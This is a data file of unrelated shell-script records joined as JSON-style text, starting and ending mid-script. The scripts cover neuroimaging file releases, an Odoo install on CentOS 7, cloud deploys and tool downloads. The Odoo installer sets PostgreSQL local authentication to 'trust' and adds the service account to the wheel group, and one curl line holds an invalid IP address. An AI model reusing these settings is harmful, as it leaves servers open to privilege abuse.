minimal=$7\nfi\n\n\naction=cp\nHemi=('left' 'right');\nCortex=('CORTEX_LEFT' 'CORTEX_RIGHT');\n\nsubjdir=sub-$subjectID\nsessiondir=ses-$sessionID\nprefix=${subjdir}_${sessiondir}\nanat=$subjdir/$sessiondir/anat\noutputRawDir=$releasedir/sourcedata/$anat\noutputDerivedDir=$releasedir/derivatives/$anat\noutputSurfDir=$outputDerivedDir/Native\noutputWarpDir=$outputDerivedDir/xfms\n\nif [ -f $outputDerivedDir/Native/${prefix}_wb.spec ];then exit; fi\n\nmkdir -p $outputSurfDir $outputWarpDir $outputRawDir\n\n# raw images\nrun cp restore/T2/${subj}_defaced.nii.gz $outputRawDir/${prefix}_T2w.nii.gz\nif [ -f T1/$subj.nii.gz ];then\n run mirtk transform-image masks/${subj}_mask_defaced.nii.gz masks/${subj}_mask_defaced_T1.nii.gz -target T1/$subj.nii.gz -dofin dofs/$subj-T2-T1-r.dof.gz -invert\n run fslmaths T1/${subj}.nii.gz -thr 0 -mul masks/${subj}_mask_defaced_T1.nii.gz $outputRawDir/${prefix}_T1w.nii.gz\n rm masks/${subj}_mask_defaced_T1.nii.gz\nfi\n\n# derived images\nms=T2\nif [ -f T1/$subj.nii.gz ];then ms=\"T1 T2\"; fi\nfor m in ${ms};do\n for restore in \"_defaced\" \"_restore_defaced\" \"_restore_brain\" \"_bias\";do\n nrestore=`echo $restore |sed -e 's:_defaced::g' |sed -e 's:_bias:_biasfield:g'`\n run $action restore/$m/${subj}${restore}.nii.gz $outputDerivedDir/${prefix}_${m}w${nrestore}.nii.gz\n done\ndone\n\n# masks\nrun $action masks/$subj.nii.gz $outputDerivedDir/${prefix}_brainmask_drawem.nii.gz\nrun $action masks/$subj-bet.nii.gz $outputDerivedDir/${prefix}_brainmask_bet.nii.gz\n\n# segmentations\nfor seg in all_labels tissue_labels;do\n run $action segmentations/${subj}_${seg}.nii.gz $outputDerivedDir/${prefix}_drawem_${seg}.nii.gz\ndone\n\n# warps\nages=\"$age\"\nif [ $age != 40 ];then ages=\"$ages 40\";fi\nfor cage in ${ages};do\n run mirtk convert-dof dofs/template-$cage-$subj-n.dof.gz $outputWarpDir/${prefix}_anat2std${cage}w.nii.gz -input-format mirtk -output-format fsl -target $code_dir/atlases/non-rigid-v2/T2/template-$cage.nii.gz -source $outputRawDir/${prefix}_T2w.nii.gz\n run mirtk convert-dof dofs/$subj-template-$cage-n.dof.gz $outputWarpDir/${prefix}_std${cage}w2anat.nii.gz -input-format mirtk -output-format fsl -source $code_dir/atlases/non-rigid-v2/T2/template-$cage.nii.gz -target $outputRawDir/${prefix}_T2w.nii.gz\ndone\n\n# surfaces\nsurfdir=surfaces/$subj/workbench\nfor f in corrThickness curvature drawem inflated pial roi sphere sulc thickness white MyelinMap; do\n sfiles=`ls $surfdir/$subj.*$f*`\n for sf in ${sfiles};do\n so=`echo $sf | sed -e \"s:$surfdir.::g\"|sed -e \"s:$subj.:${prefix}_:g\"`\n # bids:\n so=`echo $so | sed -e 's:corrThickness:corr_thickness:g' | sed -e 's:SmoothedMyelinMap:smoothed_myelin_map:g' | sed -e 's:MyelinMap:myelin_map:g'`\n so=`echo $so | sed -e 's:.native::g' | sed -e 's:_L.:_left_:g'| sed -e 's:_R.:_right_:g'`\n \n run $action $sf $outputDerivedDir/Native/$so\n done\ndone\n\n\nwbvols=\"T2w_restore\"\nwbmetrics=\"sulc thickness curvature corr_thickness\"\nwbsurfs=\"white pial midthickness inflated very_inflated sphere\"\n\nif [ -f T1/$subj.nii.gz ];then\n wbvols=\"$wbvols T1w_restore T1wdividedbyT2w T1wdividedbyT2w_ribbon\"\n wbmetrics=\"$wbmetrics myelin_map smoothed_myelin_map\"\n # myelin images etc.\n run $action $surfdir/$subj.ribbon.nii.gz $outputDerivedDir/${prefix}_ribbon.nii.gz\n run $action $surfdir/$subj.T1wDividedByT2w_defaced.nii.gz $outputDerivedDir/${prefix}_T1wdividedbyT2w.nii.gz\n run $action $surfdir/$subj.T1wDividedByT2w_ribbon.nii.gz $outputDerivedDir/${prefix}_T1wdividedbyT2w_ribbon.nii.gz\nfi\n\n\n\nif [ ! $minimal -eq 1 ];then\n # segmentations\n seg=labels\n run $action segmentations/${subj}_${seg}.nii.gz $outputDerivedDir/${prefix}_drawem_${seg}.nii.gz\n \n # warps\n for cage in ${ages};do\n run mirtk convert-dof dofs/template-$cage-$subj-n.dof.gz dofs/template-$cage-$subj-r.dof.gz -input-format mirtk -output-format rigid\n run mirtk convert-dof dofs/$subj-template-$cage-n.dof.gz dofs/$subj-template-$cage-r.dof.gz -input-format mirtk -output-format rigid\n\n run mirtk convert-dof dofs/template-$cage-$subj-r.dof.gz $outputWarpDir/${prefix}_anat2std${cage}w.mat -input-format mirtk -output-format fsl -target $code_dir/atlases/non-rigid-v2/T2/template-$cage.nii.gz -source $outputRawDir/${prefix}_T2w.nii.gz\n run mirtk convert-dof dofs/$subj-template-$cage-r.dof.gz $outputWarpDir/${prefix}_std${cage}w2anat.mat -input-format mirtk -output-format fsl -source $code_dir/atlases/non-rigid-v2/T2/template-$cage.nii.gz -target $outputRawDir/${prefix}_T2w.nii.gz\n\n run $action dofs/template-$cage-$subj-r.dof.gz $outputWarpDir/${prefix}_anat2std${cage}w-r.dof.gz\n run $action dofs/$subj-template-$cage-r.dof.gz $outputWarpDir/${prefix}_std${cage}w2anat-r.dof.gz\n\n run $action dofs/template-$cage-$subj-n.dof.gz $outputWarpDir/${prefix}_anat2std${cage}w-n.dof.gz\n run $action dofs/$subj-template-$cage-n.dof.gz $outputWarpDir/${prefix}_std${cage}w2anat-n.dof.gz\n done\n \n run mirtk convert-dof dofs/$subj-MNI-n.dof.gz dofs/$subj-MNI-r.dof.gz -input-format mirtk -output-format rigid\n run mirtk convert-dof dofs/$subj-MNI-n.dof.gz $outputWarpDir/${prefix}_MNI2anat.nii.gz -input-format mirtk -output-format fsl -target $outputRawDir/${prefix}_T2w.nii.gz -source $MNI_T1\n run mirtk convert-dof dofs/$subj-MNI-r.dof.gz $outputWarpDir/${prefix}_MNI2anat.mat -input-format mirtk -output-format fsl -target $outputRawDir/${prefix}_T2w.nii.gz -source $MNI_T1\n run $action dofs/$subj-MNI-n.dof.gz $outputWarpDir/${prefix}_MNI2anat-n.dof.gz\n run $action dofs/$subj-MNI-r.dof.gz $outputWarpDir/${prefix}_MNI2anat-r.dof.gz\n\n if [ -f T1/$subj.nii.gz ];then\n run $action dofs/$subj-T2-T1-r.mat $outputWarpDir/${prefix}_T1w2anat.mat\n run $action dofs/$subj-T2-T1-r.dof.gz $outputWarpDir/${prefix}_T1w2anat-r.dof.gz\n fi\n\n # copy posteriors\n outputPostDir=$outputDerivedDir/posteriors\n mkdir -p $outputPostDir\n structs=`ls posteriors`\n for str in ${structs};do\n run $action posteriors/$str/$subj.nii.gz $outputPostDir/${prefix}_drawem_${str}.nii.gz\n done\n\nfi\n\n\n# create spec file\ncd $outputDerivedDir/Native\n\nspec=${prefix}_wb.spec\nrm -f $spec\n\nfor hi in {0..1}; do\n h=${Hemi[$hi]}\n C=${Cortex[$hi]}\n for surf in ${wbsurfs};do\n run wb_command -add-to-spec-file $spec $C ${prefix}_${h}_$surf.surf.gii\n done\ndone\n\nC=INVALID\nfor metric in ${wbmetrics};do\n run wb_command -add-to-spec-file $spec $C ${prefix}_$metric.dscalar.nii\ndone\nrun wb_command -add-to-spec-file $spec $C ${prefix}_drawem.dlabel.nii\n\nfor file in ${wbvols};do\n run wb_command -add-to-spec-file $spec $C ../${prefix}_$file.nii.gz\ndone"} {"text": "10-100\nclang-format -style=file -i include/libirc/*.h src/**/*.cpp src/*.h.in"} {"text": "#!/bin/sh\n\n#the script works in the directory given by the user\ncd $1\n\nwhile IFS= read -r line\ndo\n rm $line.mapped\n rm $line.unmapped\n rm $line.stats\n rm $line.depth\n rm $line.qualityseq\n rm $line.qualitypos\n rm $line.mismaseq\n rm $line.mismapos\n rm $line.calls\n rm $line.filteredcalls\n rm $line.variants\ndone < names"} {"text": "ID=\"9639d2debd142c43c059245eeb895254d011b5a3b41fb83eac53a06f7aeb6567\"\ncurl -X GET http://1172.16.31.10:8080/container/$ID"} {"text": "# platform = multi_platform_rhel,multi_platform_fedora,multi_platform_ol\n\n# Include source function library\n. /usr/share/scap-security-guide/remediation_functions\n\nreplace_or_append /etc/chrony.conf '^port' 0 '@CCENUM@' '%s %s'"} {"text": "# set function to glob\nfunction is_access_google()\n{\n [[ \"$access_google\" == \"true\" ]]\n}\n\nfunction echo_proxy() {\n echo \"use_proxy: $use_proxy\"\n echo \"http_proxy: $http_proxy\"\n echo \"https_proxy: $https_proxy\"\n}\n\nfunction unset_proxy() {\n unset use_proxy\n unset http_proxy\n unset https_proxy\n}\n\nfunction set_proxy() {\n export http_proxy=http://${proxy_ip}:${proxy_http_port}\n export https_proxy=$http_proxy\n export use_proxy=true\n}\n\nif [ -n \"${use_proxy}\" ] && [[ \"${use_proxy}\" == \"true\" ]];then\n function is_access_google()\n {\n return 1\n }\n return\nfi\n\n# 使用 curl 来测试原本的客户端能否访问 google\n# --connect-timeout: 设置访问超时时间,如果不设置的话访问不了 google 会网络堵塞\n# -I: 只显示 head\n# -s: silent mode, 抑制错误信息输出\nif [[ -n \"`curl --connect-timeout 0.1 -Is google.com`\" ]]; then\n # echo \"can get forigin website\"\n access_google=true\nelse\n # echo \"can't get forigin website\"\nfi"} {"text": "#!/bin/sh\nROOT=$(pwd)\n\ncd $ROOT/..\ndocker-compose up -d"} {"text": "#!/usr/bin/env bash\n################################################################################\n# Script for installing Odoo on Centos 7\n# Based on installation script by https://github.com/Yenthe666/InstallScript\n# Author: \n#-------------------------------------------------------------------------------\n# This script will install Odoo on your Centos 7 server. It can install multiple Odoo instances\n# in one Centos because of the different xmlrpc_ports\n#-------------------------------------------------------------------------------\n# Make a new file:\n# nano odoo-install.sh\n# Place this content in it and then make the file executable:\n# chmod +x odoo-install.sh\n# Execute the script to install Odoo:\n# ./odoo-install\n################################################################################\n\nOE_USER=\"odoo\"\nOE_HOME=\"/$OE_USER\"\nOE_HOME_EXT=\"/$OE_USER/${OE_USER}-server\"\n# The default port where this Odoo instance will run under (provided you use the command -c in the terminal)\n# Set to true if you want to install it, false if you don't need it or have it already installed.\nINSTALL_WKHTMLTOPDF=\"True\"\n# Set the default Odoo port (you still have to use -c /etc/odoo-server.conf for example to use this.)\nOE_PORT=\"8069\"\n# Choose the Odoo version which you want to install. For example: 13.0, 12.0, 11.0 or saas-18. When using 'master' the master version will be installed.\n# IMPORTANT! This script contains extra libraries that are specifically needed for Odoo 13.0\nOE_VERSION=\"13.0\"\n# Set this to True if you want to install the Odoo enterprise version!\nIS_ENTERPRISE=\"False\"\n# Set this to True if you want to install Nginx!\nINSTALL_NGINX=\"False\"\n# Set the superadmin password - if GENERATE_RANDOM_PASSWORD is set to \"True\" we will automatically generate a random password, otherwise we use this one\nOE_SUPERADMIN=\"admin\"\n# Set to \"True\" to generate a random password, \"False\" to use the variable in OE_SUPERADMIN\nGENERATE_RANDOM_PASSWORD=\"True\"\nOE_CONFIG=\"${OE_USER}-server\"\n# Set the website name\nWEBSITE_NAME=\"_\"\n# Set the default Odoo longpolling port (you still have to use -c /etc/odoo-server.conf for example to use this.)\nLONGPOLLING_PORT=\"8072\"\n\n##\n### WKHTMLTOPDF download links\n## === Centos 7 x64 & x32 === (for other distributions please replace these two links,\n## in order to have correct version of wkhtmltopdf installed, for a danger note refer to\n## https://github.com/odoo/odoo/wiki/Wkhtmltopdf ):\n## https://www.odoo.com/documentation/13.0/setup/install.html#debian-ubuntu\n\nWKHTMLTOX_X64=https://github.com/wkhtmltopdf/wkhtmltopdf/releases/download/0.12.5/wkhtmltox-0.12.5-1.centos7.x86_64.rpm\nWKHTMLTOX_X32=https://github.com/wkhtmltopdf/wkhtmltopdf/releases/download/0.12.5/wkhtmltox-0.12.5-1.centos7.i686.rpm\n\n#--------------------------------------------------\n# Check run script as root\n#--------------------------------------------------\nif [ $EUID != 0 ]; then\n echo -ne \"\\nPlease re-run this script with sudo or as root\\n\\n\"\n exit 1\nfi\n\n#--------------------------------------------------\n# Update Server\n#--------------------------------------------------\necho -e \"\\n---- Update Server ----\"\nyum update -y\nyum upgrade -y\n\n#--------------------------------------------------\n# Install Dependencies & Tools\n#--------------------------------------------------\necho -e \"\\n--- Dependencies & Tools --\"\nyum install -y centos-release-scl gcc epel-release\nyum install -y wget git libxslt-devel bzip2-devel openldap-devel libjpeg-devel freetype-devel nodejs\n\n# ODOO < 12 use less and ODOO >=12 use sass (libsass)\nif [ ${OE_VERSION//./} -lt 120 ]; then\n echo -e \"\\n--- Install other required packages\"\n npm install -g less\n npm install -g less-plugin-clean-css\nfi\n\n#--------------------------------------------------\n# Install PostgreSQL Server\n#--------------------------------------------------\n# CentOS 7 includes PostgreSQL 9.2 in its default repositories\n# Install PostgreSQL 10 from Software Collections (SCL)\n# https://wiki.centos.org/AdditionalResources/Repositories/SCL\n# https://www.softwarecollections.org/en/scls/rhscl/rh-postgresql10/\n\necho -e \"\\n---- Install PostgreSQL Server from SCL ----\"\nyum -y install rh-postgresql10-postgresql-server rh-postgresql10-postgresql-devel\nscl enable rh-postgresql10 \"postgresql-setup --initdb --unit rh-postgresql10-postgresql\"\npgdata_path=/var/opt/rh/rh-postgresql10/lib/pgsql/data\ngrep -q '^local\\s' $pgdata_path/pg_hba.conf | echo -e \"local all all trust\" | tee -a $pgdata_path/pg_hba.conf\nsed -i.bak 's/\\(^local\\s*\\w*\\s*\\w*\\s*\\)\\(peer$\\)/\\1trust/' $pgdata_path/pg_hba.conf\nsystemctl enable rh-postgresql10-postgresql\nsystemctl start rh-postgresql10-postgresql\n\necho -e \"\\n---- Creating the ODOO PostgreSQL User ----\"\nsu - postgres -c \"scl enable rh-postgresql10 -- psql -c 'create user $OE_USER createdb'\"\n\n#--------------------------------------------------\n# Install Python\n#--------------------------------------------------\n# https://wiki.centos.org/AdditionalResources/Repositories/SCL\n# https://www.softwarecollections.org/en/scls/rhscl/rh-python36/\n\necho -e \"\\n--- Installing Python 3 from SCL --\"\nyum install -y rh-python36\n\necho -e \"\\n---- Install python packages/requirements ----\"\nscl enable rh-python36 -- pip3.6 install pip -U\nscl enable rh-python36 -- pip3.6 install wheel\nscl enable rh-python36 -- pip3.6 install -r https://github.com/odoo/odoo/raw/${OE_VERSION}/requirements.txt\n\necho -e \"\\n---- Installing rtlcss for LTR support ----\"\nnpm install -g rtlcss\n\n#--------------------------------------------------\n# Install Wkhtmltopdf if needed\n#--------------------------------------------------\nif [ $INSTALL_WKHTMLTOPDF = \"True\" ]; then\n echo -e \"\\n---- Install wkhtml and place shortcuts on correct place for ODOO 13 ----\"\n #pick up correct one from x64 & x32 versions:\n if [ \"$(getconf LONG_BIT)\" == \"64\" ];then\n _url=$WKHTMLTOX_X64\n else\n _url=$WKHTMLTOX_X32\n fi\n yum localinstall -y $_url\n\nelse\n echo \"Wkhtmltopdf isn't installed due to the choice of the user!\"\nfi\n\necho -e \"\\n---- Create ODOO system user ----\"\nadduser --system --shell=/bin/bash --home-dir=$OE_HOME --user-group $OE_USER\n\n#The user should also be added to the wheel group.\nusermod -aG wheel $OE_USER\n\necho -e \"\\n---- Create Log directory ----\"\nmkdir /var/log/$OE_USER\nchown $OE_USER:$OE_USER /var/log/$OE_USER\n\n#--------------------------------------------------\n# Install ODOO\n#--------------------------------------------------\necho -e \"\\n==== Installing ODOO Server ====\"\ngit clone --depth 1 --branch $OE_VERSION https://www.github.com/odoo/odoo $OE_HOME_EXT/\n\nif [ $IS_ENTERPRISE = \"True\" ]; then\n # Odoo Enterprise install!\n su $OE_USER -c \"mkdir $OE_HOME/enterprise\"\n su $OE_USER -c \"mkdir $OE_HOME/enterprise/addons\"\n\n GITHUB_RESPONSE=$(git clone --depth 1 --branch $OE_VERSION https://www.github.com/odoo/enterprise \"$OE_HOME/enterprise/addons\" 2>&1)\n while [[ $GITHUB_RESPONSE == *\"Authentication\"* ]]; do\n echo \"------------------------WARNING------------------------------\"\n echo \"Your authentication with Github has failed! Please try again.\"\n printf \"In order to clone and install the Odoo enterprise version you \\nneed to be an offical Odoo partner and you need access to\\nhttp://github.com/odoo/enterprise.\\n\"\n echo \"TIP: Press ctrl+c to stop this script.\"\n echo \"-------------------------------------------------------------\"\n echo \" \"\n GITHUB_RESPONSE=$(git clone --depth 1 --branch $OE_VERSION https://www.github.com/odoo/enterprise \"$OE_HOME/enterprise/addons\" 2>&1)\n done\n\n echo -e \"\\n---- Added Enterprise code under $OE_HOME/enterprise/addons ----\"\n echo -e \"\\n---- Installing Enterprise specific libraries ----\"\n scl enable rh-python36 -- pip3.6 install num2words ofxparse dbfread ebaysdk firebase_admin pyOpenSSL\nfi\n\necho -e \"\\n---- Create custom module directory ----\"\nmkdir -p $OE_HOME/custom/addons\n\necho -e \"\\n---- Setting permissions on home folder ----\"\nchown -R $OE_USER:$OE_USER $OE_HOME/\n\necho -e \"* Create server config file\"\ntouch /etc/${OE_CONFIG}.conf\necho -e \"* Creating server config file\"\nsu root -c \"printf '[options] \\n; This is the password that allows database operations:\\n' >> /etc/${OE_CONFIG}.conf\"\nif [ $GENERATE_RANDOM_PASSWORD = \"True\" ]; then\n echo -e \"* Generating random admin password\"\n OE_SUPERADMIN=$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 16 | head -n 1)\nfi\nsu root -c \"printf 'admin_passwd = ${OE_SUPERADMIN}\\n' >> /etc/${OE_CONFIG}.conf\"\nif [ ${OE_VERSION//./} -ge 120 ]; then\n su root -c \"printf 'http_port = ${OE_PORT}\\n' >> /etc/${OE_CONFIG}.conf\"\nelse\n su root -c \"printf 'xmlrpc_port = ${OE_PORT}\\n' >> /etc/${OE_CONFIG}.conf\"\nfi\nsu root -c \"printf 'logfile = /var/log/${OE_USER}/${OE_CONFIG}.log\\n' >> /etc/${OE_CONFIG}.conf\"\n\nif [ $IS_ENTERPRISE = \"True\" ]; then\n su root -c \"printf 'addons_path=${OE_HOME}/enterprise/addons,${OE_HOME_EXT}/addons\\n' >> /etc/${OE_CONFIG}.conf\"\nelse\n su root -c \"printf 'addons_path=${OE_HOME_EXT}/addons,${OE_HOME}/custom/addons\\n' >> /etc/${OE_CONFIG}.conf\"\nfi\nchown $OE_USER:$OE_USER /etc/${OE_CONFIG}.conf\nchmod 640 /etc/${OE_CONFIG}.conf\n\necho -e \"* Create startup file\"\nsu root -c \"echo '#!/bin/sh' >> $OE_HOME_EXT/start.sh\"\nsu root -c \"echo 'su - $OE_USER -c \\\"scl enable rh-python36 -- python3 $OE_HOME_EXT/odoo-bin --config=/etc/${OE_CONFIG}.conf\\\"' >> $OE_HOME_EXT/start.sh\"\nchmod 755 $OE_HOME_EXT/start.sh\n\n#--------------------------------------------------\n# Adding ODOO as a deamon (initscript)\n#--------------------------------------------------\necho -e \"* Create init file\"\ncat > /etc/systemd/system/$OE_CONFIG.service << EOF\n[Unit]\nDescription=$OE_CONFIG\nRequires=rh-postgresql10\nAfter=network.target rh-postgresql10\n\n[Service]\nType=simple\nSyslogIdentifier=$OE_CONFIG\nPermissionsStartOnly=true\nUser=$OE_USER\nGroup=$OE_USER\nExecStart=/usr/bin/scl enable rh-python36 -- $OE_HOME_EXT/odoo-bin -c /etc/$OE_CONFIG.conf\nStandardOutput=journal+console\n\n[Install]\nWantedBy=multi-user.target\nEOF\n\nsystemctl daemon-reload\nsystemctl enable $OE_CONFIG\n\n#--------------------------------------------------\n# Install Nginx if needed\n#--------------------------------------------------\nif [ $INSTALL_NGINX = \"True\" ]; then\n echo -e \"\\n---- Installing and setting up Nginx ----\"\n yum install nginx -y\n systemctl enable nginx\n systemctl start nginx\n\n mkdir /etc/nginx/sites-available\n\n cat < ~/odoo.conf\n server {\n listen 80;\n\n # set proper server name after domain set\n server_name $WEBSITE_NAME;\n\n # Add Headers for odoo proxy mode\n proxy_set_header X-Forwarded-Host \\$host;\n proxy_set_header X-Forwarded-For \\$proxy_add_x_forwarded_for;\n proxy_set_header X-Forwarded-Proto \\$scheme;\n proxy_set_header X-Real-IP \\$remote_addr;\n add_header X-Frame-Options \"SAMEORIGIN\";\n add_header X-XSS-Protection \"1; mode=block\";\n proxy_set_header X-Client-IP \\$remote_addr;\n proxy_set_header HTTP_X_FORWARDED_HOST \\$remote_addr;\n\n # odoo log files\n access_log /var/log/nginx/$OE_USER-access.log;\n error_log /var/log/nginx/$OE_USER-error.log;\n\n # increase proxy buffer size\n proxy_buffers 16 64k;\n proxy_buffer_size 128k;\n\n proxy_read_timeout 900s;\n proxy_connect_timeout 900s;\n proxy_send_timeout 900s;\n\n # force timeouts if the backend dies\n proxy_next_upstream error timeout invalid_header http_500 http_502\n http_503;\n\n types {\n text/less less;\n text/scss scss;\n }\n\n # enable data compression\n gzip on;\n gzip_min_length 1100;\n gzip_buffers 4 32k;\n gzip_types text/css text/less text/plain text/xml application/xml application/json application/javascript application/pdf image/jpeg image/png;\n gzip_vary on;\n client_header_buffer_size 4k;\n large_client_header_buffers 4 64k;\n client_max_body_size 0;\n\n location / {\n proxy_pass http://127.0.0.1:$OE_PORT;\n # by default, do not forward anything\n proxy_redirect off;\n }\n\n location /longpolling {\n proxy_pass http://127.0.0.1:$LONGPOLLING_PORT;\n }\n location ~* .(js|css|png|jpg|jpeg|gif|ico)$ {\n expires 2d;\n proxy_pass http://127.0.0.1:$OE_PORT;\n add_header Cache-Control \"public, no-transform\";\n }\n # cache some static data in memory for 60mins.\n location ~ /[a-zA-Z0-9_-]*/static/ {\n proxy_cache_valid 200 302 60m;\n proxy_cache_valid 404 1m;\n proxy_buffering on;\n expires 864000;\n proxy_pass http://127.0.0.1:$OE_PORT;\n }\n }\nEOF\n\nmv ~/odoo.conf /etc/nginx/sites-available/\nln -s /etc/nginx/sites-available/odoo.conf /etc/nginx/conf.d/odoo.conf\necho -e \"* SELinux permission\"\nsetsebool -P httpd_can_network_connect 1\nrestorecon /etc/nginx/conf.d/*\nsystemctl reload nginx\nsu root -c \"printf 'proxy_mode = True\\n' >> /etc/${OE_CONFIG}.conf\"\n\n# Firewalld by default and blocks access to ports 80 and 443\necho -e \"* enables ports 80 and 443\"\nfirewall-cmd --zone=public --permanent --add-service=http\nfirewall-cmd --zone=public --permanent --add-service=https\nfirewall-cmd --reload\necho \"Done! The Nginx server is up and running. Configuration can be found at /etc/nginx/sites-available/odoo.conf\"\nelse\n echo \"Nginx isn't installed due to choice of the user!\"\nfi\n\necho -e \"* Starting Odoo Service\"\nsystemctl start $OE_CONFIG\necho -e \"* Opening Odoo Port in firewalld\"\nfirewall-cmd --permanent --zone=public --add-port=${OE_PORT}/tcp\nfirewall-cmd --reload\necho \"-----------------------------------------------------------\"\necho \"Done! The Odoo server is up and running. Specifications:\"\necho \"Port: $OE_PORT\"\necho \"User service: $OE_USER\"\necho \"Configuraton file location: /etc/${OE_CONFIG}.conf\"\necho \"Logfile location: /var/log/$OE_USER\"\necho \"User PostgreSQL: $OE_USER\"\necho \"Code location: $OE_USER\"\necho \"Addons folder: $OE_USER/$OE_CONFIG/addons/\"\necho \"Password superadmin (database): $OE_SUPERADMIN\"\necho \"Start Odoo service: sudo systemctl start $OE_CONFIG\"\necho \"Stop Odoo service: sudo systemctl stop $OE_CONFIG\"\necho \"Restart Odoo service: sudo systemctl restart $OE_CONFIG\"\nif [ $INSTALL_NGINX = \"True\" ]; then\n echo \"Nginx configuration file: /etc/nginx/sites-available/odoo\"\nfi\necho \"-----------------------------------------------------------\""} {"text": "1-10\nif [ ! -f env.tmp ]; then\n\tsource ./env.sh\nfi\n\ncd ..\n\ngcloud builds submit \\\n--tag gcr.io/$GCP_PROJECT_ID/$GCP_IMAGE_NAME\n\n# The script in setup_bucket.sh and setup_sa.sh must be run before deploy.\n# The bucket and service account must be created first.\n# The script setup.sh takes care of everything\n\ngcloud alpha run deploy $GCP_SERVICE_NAME \\\n--region $GCP_REGION \\\n--image gcr.io/$GCP_PROJECT_ID/$GCP_IMAGE_NAME \\\n--allow-unauthenticated \\\n--set-env-vars BUCKET_NAME=$GCS_BUCKET_NAME \\\n--set-env-vars KMS_KEY_ID=$GCP_KMS_KEY_ID \\\n--service-account=$GCP_SA\n\ncd scripts-linux"} {"text": "0\n#!/bin/bash -e\n\nDIR=\"$( cd \"$( dirname \"${BASH_SOURCE[0]}\" )\" && pwd )\"\n\n# Consul and ContainerPilot\nCONSUL_VERSION=0.7.3-rfc2782\nCONSUL_URL_BASE=https://github.com/zeroae/consul/releases/download\nCONSUL_CHECKSUM=9c13de0de9697fc646899cbf58d39d13b061c803c2d306c321281246890d1576\n\nCONTAINERPILOT_VERSION=2.7.0\nCONTAINERPILOT_SHA1=687f7d83e031be7f497ffa94b234251270aee75b\nCONTAINERPILOT_FORK=joyent\nCONTAINERPILOT_URL_BASE=\"https://github.com/${CONTAINERPILOT_FORK}/containerpilot/releases/download\"\n\nfunction download_consul()\n{\n archive=consul_${CONSUL_VERSION}_linux_amd64.zip\n curl --retry 7 --fail -Lso /tmp/${archive} \\\n ${CONSUL_URL_BASE}/v${CONSUL_VERSION}/${archive}\n echo \"${CONSUL_CHECKSUM} /tmp/${archive}\" | sha256sum -c\n\n cd $APROOT/bin\n unzip /tmp/${archive}\n chmod +x $APROOT/bin/consul\n rm /tmp/${archive}\n\n mkdir -p /var/lib/consul\n mkdir -p /etc/consul.d\n}\n\nfunction download_containerpilot()\n{\n archive=containerpilot-${CONTAINERPILOT_VERSION}.tar.gz\n curl --retry 7 --fail -Lso /tmp/${archive} \\\n ${CONTAINERPILOT_URL_BASE}/${CONTAINERPILOT_VERSION}/${archive}\n echo \"${CONTAINERPILOT_SHA1} /tmp/${archive}\" | sha1sum -c\n\n tar zxf /tmp/${archive} -C $APROOT/bin\n chmod +x $APROOT/bin/containerpilot\n rm /tmp/${archive}\n\n mkdir /etc/containerpilot.d\n\n mv $DIR/assets/containerpilot.json /etc\n}\n\ndownload_consul\ndownload_containerpilot\n\nexit 0"} {"text": "1-10\n#!/usr/bin/env bash\n/usr/bin/python2 -m poetry \"${@}\""} {"text": "dpkg-deb -Z gzip -b sshd\ndpkg-deb -Z gzip -b iCTRL\ndpkg-deb -Z gzip -b tcleaner\ndpkg-deb -Z gzip -b msfinstaller\n\nmv *.deb debs/"} {"text": "FZU-CS/compilerrun_ir_demo.sh\nset -e\n\n# Create build folder\nsudo ./cleanup.sh\nmkdir build_ir\n\n# Using lexer to get tockens\n# ./run_lexer.py parser_tests/given_example.pas > build_ir/tocken.txt\n\n# TBD: tocken.txt to input.txt\n\n# Compile ir, written in C++\ngcc src/ir.cpp -Wall -ljsoncpp -lstdc++ -o build_ir/ir\n\n# Touch new output files\ncp -r ir_tests/$1/input.txt build_ir/input.txt\ncp -r ir_tests/$1/top.txt build_ir/top.txt\ncp -r docs/grammar/ir_tasks/parsed_grammar.txt build_ir/grammar.txt\ntouch build_ir/output.txt\ntouch build_ir/slr.txt\ntouch build_ir/error.txt\ntouch build_ir/action_and_goto.txt\ntouch build_ir/ir_code.txt\n\n# Parsing\ncd build_ir/\n./ir > first_and_follow.txt"} {"text": "RabbitMqUdn/cluster/proxy-pub-enable.sh\n#!/bin/bash\n\n#$1 Consumer number\n#$2 Broker number\n\nfor B in {1..3}\ndo\n curl -s -o /dev/null -w \"%{http_code}\" -d '{\"name\":\"P1R'\"$B\"'\",\"listen\":\"0.0.0.0:'\"$B\"'000'\"$2\"'\",\"upstream\":\"rabbitmq'\"$B\"':5672\",\"enabled\":true}' -H \"Content-Type: application/json\" -X POST http://$1:8474/proxies\n echo \" - Enabled proxy for publishers for rabbitmq$B\"\ndone"} {"text": "#!/usr/bin/env bash\n\nnohup istioctl dashboard kiali &"} {"text": "#!/usr/bin/env bash\n# -x\n# Dependencies: acli, ncli, jq, sshpass, curl, md5sum, pgrep, wc, tr, pkill\n\n###############################################################################################################################################################################\n# Routine to set the acli command\n###############################################################################################################################################################################\nfunction acli() {\n local _cmd\n\n _cmd=$*\n\t/usr/local/nutanix/bin/acli ${_cmd}\n # DEBUG=1 && if [[ ${DEBUG} ]]; then log \"$@\"; fi\n}\n\n###############################################################################################################################################################################\n# Routine to install the AutoDC and join the Domain\n###############################################################################################################################################################################\nfunction authentication_source() {\n local _attempts\n local _error=13\n local _loop\n local _pc_version\n local _result\n local _sleep\n local _test=0\n local _vm\n\n args_required 'AUTH_SERVER AUTH_FQDN SLEEP STORAGE_IMAGES PC_VERSION'\n\n if [[ -z ${AUTH_SERVER} ]]; then\n log \"Error ${_error}: please provide a choice for authentication server.\"\n exit ${_error}\n fi\n # shellcheck disable=2206\n _pc_version=(${PC_VERSION//./ })\n\n case \"${AUTH_SERVER}\" in\n 'AutoAD')\n local _autoad_auth\n local _autoad_index=1\n local _autoad_release=1\n local _autoad_service='samba-ad-dc'\n local _autoad_restart=\"service ${_autoad_service} restart\"\n local _autoad_status=\"AD Is Running\"\n local _autoad_success=\"AD Is Running\"\n\n\n dns_check \"dc.${AUTH_FQDN}\"\n _result=$?\n\n if (( ${_result} == 0 )); then\n log \"${AUTH_SERVER}.IDEMPOTENCY: dc.${AUTH_FQDN} set, skip. ${_result}\"\n else\n log \"${AUTH_SERVER}.IDEMPOTENCY failed, no DNS record dc.${AUTH_FQDN}\"\n\n _error=12\n _loop=0\n _sleep=${SLEEP}\n\n repo_source AUTOAD_REPOS[@]\n\n if (( $(source /etc/profile.d/nutanix_env.sh && acli image.list | grep ${AUTH_SERVER}| wc --lines) == 0 )); then\n log \"Import ${AUTH_SERVER} image from ${SOURCE_URL}...\"\n acli image.create ${AUTH_SERVER} \\\n image_type=kDiskImage wait=true \\\n 